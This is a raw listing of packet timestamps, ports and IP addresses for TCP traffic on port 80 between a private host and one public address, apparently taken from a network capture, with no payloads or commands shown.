Sep 15, 2024 19:37:40.414315939 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414344072 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414361000 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414376974 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414391994 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414410114 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414423943 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414442062 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414455891 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414474010 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414490938 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414509058 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414521933 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414562941 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414593935 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414625883 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414644003 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414658070 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414674044 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414691925 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414705992 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414724112 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414738894 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414757013 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414771080 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414793968 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414804935 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414827108 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414840937 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414860010 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414872885 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414892912 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414906025 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414927006 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414941072 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414959908 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414974928 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414994955 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415009022 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415041924 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415059090 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415090084 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415107965 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415136099 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415138960 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415168047 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415185928 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415199995 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415215015 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415232897 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415249109 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415282011 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415313005 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415345907 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415366888 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415378094 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415394068 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415427923 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415429115 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415462971 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415482998 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415494919 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415512085 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415528059 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415540934 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415577888 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415693998 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415725946 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415746927 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415759087 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415769100 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415791988 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415802002 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415824890 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415839911 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415858984 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415880919 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415890932 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415904999 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415923119 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.415932894 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.415970087 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418303967 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418355942 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418359995 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418404102 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418406963 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418441057 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418457031 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418473005 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418486118 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418508053 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418520927 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418543100 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418555021 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418576956 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418592930 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418611050 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418626070 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418657064 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418659925 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418693066 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418708086 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418725014 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418741941 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418761015 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418772936 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418807983 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418808937 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418843985 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418855906 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418891907 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418893099 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418926954 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.418942928 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418970108 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.418976068 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.419008970 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.419023037 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.419042110 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.419055939 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.419075012 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.419090986 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.419120073 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.499857903 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.499883890 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.499902010 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.499918938 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.499933958 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.499938965 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.499948978 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.499965906 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.499970913 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.499983072 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500014067 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500032902 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500056982 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500072002 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500088930 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500101089 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500109911 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500130892 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500133038 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500149012 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500164032 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500173092 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500184059 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500190020 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500200987 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500212908 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500216961 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500221968 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500243902 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500250101 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500435114 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500451088 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500464916 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500473022 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500479937 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500485897 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500495911 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500507116 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500511885 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500520945 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500530005 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500541925 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500555992 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500569105 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500586033 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500593901 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500601053 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500607967 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500618935 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500623941 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500648022 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500662088 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500869036 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500885010 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500900030 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500910997 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500915051 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500919104 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500931025 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500938892 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500946045 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500960112 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500962019 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500967026 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500979900 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.500987053 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.500997066 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501010895 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501014948 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501080036 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501080036 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501231909 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501255989 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501266003 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501404047 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501420021 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501434088 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501444101 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501449108 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501457930 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501465082 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501478910 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501480103 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501487017 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501497030 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501509905 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501511097 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501522064 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501527071 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501542091 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501543045 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501559019 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501562119 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501574993 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501591921 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501620054 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501842976 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501858950 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501873016 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501885891 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501888037 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501904964 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.501914978 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501943111 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.501974106 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502012968 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.502214909 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502229929 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502243996 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502259016 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502259016 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.502274990 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502276897 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.502290964 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502291918 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.502309084 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502321959 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.502325058 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502340078 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502346039 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.502355099 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502368927 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502371073 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.502384901 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502397060 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.502398968 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502418995 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502425909 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.502434969 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502444029 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.502449989 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502465010 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502473116 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.502480984 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.502484083 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.502499104 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.502526045 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503135920 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503159046 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503174067 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503180027 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503189087 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503201962 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503205061 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503216982 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503221035 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503236055 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503237963 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503252029 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503257036 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503267050 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503281116 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503287077 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503294945 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503298044 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503310919 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503326893 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503326893 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503341913 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503343105 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503355026 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503359079 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503374100 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503375053 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503396988 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503401995 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503401995 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503420115 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503434896 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503446102 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503448963 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503473043 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503496885 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503875017 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503890991 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503905058 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503916979 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503932953 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503937960 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503947020 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503953934 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503968954 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503979921 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.503984928 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.503989935 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.504000902 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.504002094 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.504019976 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.504025936 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.504036903 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.504040003 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.504053116 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.504064083 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.504071951 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.504087925 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.504399061 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.504415035 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.504430056 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.504445076 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.504450083 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.504462004 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.504470110 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.504477978 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.504493952 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.504496098 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.504519939 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.504543066 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.586442947 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.586493015 CEST	80	49754	46.8.231.109	192.168.2.6
